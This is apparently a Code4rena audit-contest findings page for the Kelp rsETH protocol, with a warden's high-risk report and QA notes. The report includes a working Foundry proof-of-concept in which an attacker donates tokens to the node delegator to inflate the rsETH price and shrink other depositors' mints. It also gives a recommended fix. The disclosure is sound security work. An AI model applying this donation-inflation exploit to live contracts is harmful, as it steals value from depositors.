Platform: Code4rena
Start Date: 10/11/2023
Pot Size: $28,000 USDC
Total HM: 5
Participants: 185
Period: 5 days
Judge: 0xDjango
Id: 305
League: ETH
Rank: 110/185
Findings: 2
Award: $7.42
π Selected for report: 0
π Solo Findings: 0
π Selected for report: Krace
Also found by: 0xDING99YA, 0xrugpull_detector, Aamir, AlexCzm, Aymen0909, Banditx0x, Bauer, CatsSecurity, GREY-HAWK-REACH, Madalad, Phantasmagoria, QiuhaoLi, Ruhum, SBSecurity, SandNallani, SpicyMeatball, T1MOH, TheSchnilch, adam-idarrha, adriro, almurhasan, ast3ros, ayden, bronze_pickaxe, btk, chaduke, ck, crack-the-kelp, critical-or-high, deth, gumgumzum, jasonxiale, joaovwfreire, ke1caM, m_Rassska, mahdirostami, mahyar, max10afternoon, osmanozdemir1, peanuts, pep7siup, peter, ptsanev, qpzm, rouhsamad, rvierdiiev, spark, twcctop, ubl4nk, wisdomn_, zach, zhaojie
4.6614 USDC - $4.66
Depositors could be subjected to a price manipulation of the RSETH tokens if a malicious actor donates a large sum of the approved assets (rETH,cbETH or stETH) either to the deposit pool or the node delegator contracts.
In Kelp protocol, users are allowed to deposit approved LST tokens to receive an amount of rseth
tokens. The amount of rsETH
tokens to be minted is inversely proportional to how the oracle contract values its price as shown below.
If the denominator could be artificially inflated by a malicious actor, the depositor would receive a smaller amount of rseth
tokens.
function getRsETHAmountToMint(){ ... rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); ...}
To confirm this please consider the following test labeled PriceManpulation.t.sol
. Place this test file in the test
folder.
In the setUp
function we first deploy and configure all the contracts.
Following which we test the hypothesis where Alice receives significantly less rsETH
tokens on her second attempt of depositing assets (reth) into the deposit pool.
Upon Alice's first deposit transaction, initial supply of rsETH
is zero, hence the oracle contract returns 1 ether
as the price, and she receives the correct amount of minted rseth
tokens.
//LRTOracle.sol if (rsEthSupply == 0) { // console.log("rsEthSupply == 0"); return 1 ether; }
Meanwhile, Bob's an attacker who donates assets to the node delegator contract in order to artificially inflate the price of the rsETH
tokens.
In this case, when Alice attempts to deposit the same number of reth
tokens in the deposit pool, she consequently receives significantly less rsETH
tokens.
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import { LRTConfigTest, ILRTConfig, LRTConstants, UtilLib } from "./LRTConfigTest.t.sol"; import { NodeDelegator } from "src/NodeDelegator.sol"; import { BaseTest, MockToken } from "./BaseTest.t.sol"; import { LRTConfig, ILRTConfig } from "src/LRTConfig.sol"; import { LRTOracle } from "src/LRTOracle.sol"; import { LRTConstants } from "src/utils/LRTConstants.sol"; import { UtilLib } from "src/utils/UtilLib.sol"; import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; import { LRTDepositPool } from "src/LRTDepositPool.sol"; // import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol"; import { RSETH } from "src/RSETH.sol"; import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol"; contract PriceManipulation is BaseTest { LRTConfig public lrtConfig; LRTOracle public lrtOracle; // LRTOracleMock public lrtOracle; LRTDepositPool public lrtDepositPool; NodeDelegator public nodeDel; address public rETHAddress; address public stETHAddress; address public cbETHAddress; RSETH public rseth; event AssetDepositLimitUpdate(address asset, uint256 depositLimit); event RemovedSupportedAsset(address asset); address public manager; address public rsethMock; function setUp() public virtual override(BaseTest) { super.setUp(); manager = makeAddr("manager"); rsethMock = makeAddr("rsethMock"); rETHAddress = address(rETH); stETHAddress = address(stETH); cbETHAddress = address(cbETH); //rsETH setup ProxyAdmin proxyAdmin = new ProxyAdmin(); RSETH tokenImpl = new RSETH(); TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy( address(tokenImpl), address(proxyAdmin), "" ); rseth = RSETH(address(tokenProxy)); //Setup the Config LRTConfig lrtConfigImpl = new LRTConfig(); TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy( address(lrtConfigImpl), address(proxyAdmin), "" ); lrtConfig = LRTConfig(address(lrtConfigProxy)); lrtConfig.initialize(admin, address(stETH), address(rETH), address(cbETH), rsethMock); //Setup the Oracle LRTOracle lrtOracleImpl = new LRTOracle(); TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy( address(lrtOracleImpl), address(proxyAdmin), "" ); lrtOracle = LRTOracle(address(lrtOracleProxy)); //MockOracle doesn't need to be initialized lrtOracle.initialize(address(lrtConfig)); //Setup the depositor pool LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); lrtDepositPool.initialize(address(lrtConfig)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest rseth.initialize(address(admin), address(lrtConfig)); //setup nodedelegator NodeDelegator nodeDelImpl = new NodeDelegator(); TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy( address(nodeDelImpl), address(proxyAdmin), "" ); nodeDel = NodeDelegator(address(nodeDelProxy)); nodeDel.initialize(address(lrtConfig)); address[] memory nodeDelegator = new address[](1); nodeDelegator[0] = address(nodeDel); vm.startPrank(admin); // add rsETH to LRT config lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(new LRTOracle())); lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); //grant manager role lrtConfig.grantRole(LRTConstants.MANAGER, manager); //Setup node managers lrtDepositPool.updateMaxNodeDelegatorCount(5); lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegator); lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle)); vm.stopPrank(); //Update the deposit limits for all the assets vm.startPrank(manager); lrtConfig.updateAssetDepositLimit(rETHAddress, 1000 ether); lrtConfig.updateAssetDepositLimit(stETHAddress, 1000 ether); lrtConfig.updateAssetDepositLimit(cbETHAddress, 1000 ether); vm.stopPrank(); } function test_AliceDepositsTokens() external { uint256 aliceBalanceBefore = rseth.balanceOf(address(alice)); assertEq(rETH.balanceOf(alice), 1000 ether); //Alice receives a normal amountof rsETH before price manipulation vm.startPrank(alice); rETH.approve(address(lrtDepositPool), 4 ether); uint256 rsETH_MintedBeforeManipulation = lrtDepositPool.depositAsset(rETHAddress, 2 ether); uint256 aliceBalanceAfter = rseth.balanceOf(address(alice)); assertEq(aliceBalanceAfter, 2 ether); vm.stopPrank(); //Bob's an attacker who donates assets to the node delegators directly vm.startPrank(bob); rETH.transfer(address(nodeDel), 996 ether); stETH.transfer(address(nodeDel),1000 ether); cbETH.transfer(address(nodeDel),1000 ether); vm.stopPrank(); //Alice receives significantly less rsETH due to the price manipulation by Bob vm.startPrank(alice); uint256 rsETH_MintedPostManipulation = lrtDepositPool.depositAsset(rETHAddress, 2 ether); assertGt(rsETH_MintedBeforeManipulation,rsETH_MintedPostManipulation); emit log_named_uint("rsETH minted to Alice before the price manipulation", rsETH_MintedBeforeManipulation); emit log_named_uint("rsETH minted to Alice before the price manipulation", rsETH_MintedPostManipulation); vm.stopPrank(); } }
rsETH minted to Alice before the price manipulation: 2000000000000000000 rsETH minted to Alice before the price manipulation: 1333333333333333
Foundry Manual Analysis
To avoid the case where a price manipulation could be possible, instead of checking the asset balance of the contract, please consider using state variables, which are only updated in response to a deposit. And using the state variables to confirm the price of the rsETH
token.
This would prevent such an attack, as any donation of funds by attackers would have no impact on the minted amount of rsETH
tokens.
Oracle
#0 - c4-pre-sort
2023-11-16T21:18:15Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T21:18:24Z
raymondfam marked the issue as duplicate of #42
#2 - c4-judge
2023-12-01T17:02:48Z
fatherGoose1 changed the severity to 3 (High Risk)
#3 - c4-judge
2023-12-01T17:06:13Z
fatherGoose1 marked the issue as satisfactory
π Selected for report: m_Rassska
Also found by: 0x1337, 0xAadi, 0xHelium, 0xLeveler, 0xblackskull, 0xbrett8571, 0xepley, 0xffchain, 0xluckhu, 0xmystery, 0xrugpull_detector, 0xvj, ABAIKUNANBAEV, Aamir, AerialRaider, Amithuddar, Bauchibred, Bauer, CatsSecurity, Cryptor, Daniel526, Draiakoo, Eigenvectors, ElCid, GREY-HAWK-REACH, Inspecktor, Juntao, King_, LinKenji, Madalad, MaslarovK, Matin, MatricksDeCoder, McToady, Noro, PENGUN, Pechenite, Phantasmagoria, RaoulSchaffranek, SBSecurity, SandNallani, Shaheen, Soul22, Stormreckson, T1MOH, Tadev, TeamSS, TheSchnilch, Topmark, Tumelo_Crypto, Udsen, Yanchuan, ZanyBonzy, _thanos1, adeolu, adriro, alexfilippov314, almurhasan, amaechieth, anarcheuz, ayden, baice, bareli, boredpukar, bronze_pickaxe, btk, cartlex_, catellatech, chaduke, cheatc0d3, circlelooper, codynhat, crack-the-kelp, critical-or-high, debo, deepkin, desaperh, dipp, eeshenggoh, evmboi32, ge6a, gesha17, glcanvas, gumgumzum, hals, hihen, hunter_w3b, jasonxiale, joaovwfreire, ke1caM, leegh, lsaudit, marchev, merlinboii, niser93, osmanozdemir1, paritomarrr, passion, pep7siup, phoenixV110, pipidu83, poneta, ro1sharkm, rouhsamad, rvierdiiev, sakshamguruji, seerether, shealtielanz, soliditytaker, spark, squeaky_cactus, stackachu, supersizer0x, tallo, taner2344, turvy_fuzz, twcctop, ubl4nk, wisdomn_, xAriextz, zach, zhaojie, zhaojohnson, ziyou-
2.7592 USDC - $2.76
whenNotPaused
modifier in the Oracle and Deposit pool contractsThe Oracle contract inherits and implements functions to pause and unpause. However, the whenNotPaused
modifier is not applied to any of the functions in this contract.
In the node delegator contract, when paused, cannot transfer assets back to the deposit pool. However, the deposit pool contract is able to transfer funds to the node delegator when paused.
Consider removing the capability to pause/unpause the Oracle contract as it's not being used in the current version of the contract. Consider preventing the transfer of assets from the deposit pool to node delegator when paused, for better consistency.
The node delegator contract's responsible for depositing the user's deposit pool funds into various Eigenlayer strategies. Shown below is the function that performs this task.
NodeDelegator::depositAssetIntoStrategy() //NodeDelegator.sol function depositAssetIntoStrategy(address asset){ ... emit AssetDepositIntoStrategy(asset, strategy, balance); IEigenStrategyManager(eigenlayerStrategyManagerAddress).depositIntoStrategy(IStrategy(strategy), token, balance); ... }
However, the number of shares minted by the Eigenlayer strategy aren't tracked or emitted as an argument in the event AssetDepositIntoStrategy
.
Consider checking the number of shares minted to ensuring that there's no adverse price impact and emitting it in the event to allow for off-chain accounting.
depositAsset()
function could return the number of minted tokensThe main entry point in the Kelp protocol is the LRTDepositPool::depositAsset()
. Which allows users to deposit approved assets into the pool to receive an amount of rsETH
tokens.
The minted rsETH
tokens represent the user's underlying asset contribution of rETH, cbETH or stETH.
If the user's a smart contract that intends to track the user's minted shares, it would be beneficial to return the value of the minted rsETH
tokens.
Consider returning the minting rsETH
tokens by modifying the deposit function as follows.
function getRsETHAmountToMint( address asset, uint256 amount ) public view override returns (uint256 rsethAmountToMint) { ... rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); }
#0 - raymondfam
2023-11-17T23:43:50Z
[QA-2] and [QA-3] could have mentioned slippage protections for two possible upgrades.
#1 - c4-pre-sort
2023-11-17T23:43:57Z
raymondfam marked the issue as sufficient quality report
#2 - c4-judge
2023-12-01T16:45:17Z
fatherGoose1 marked the issue as grade-b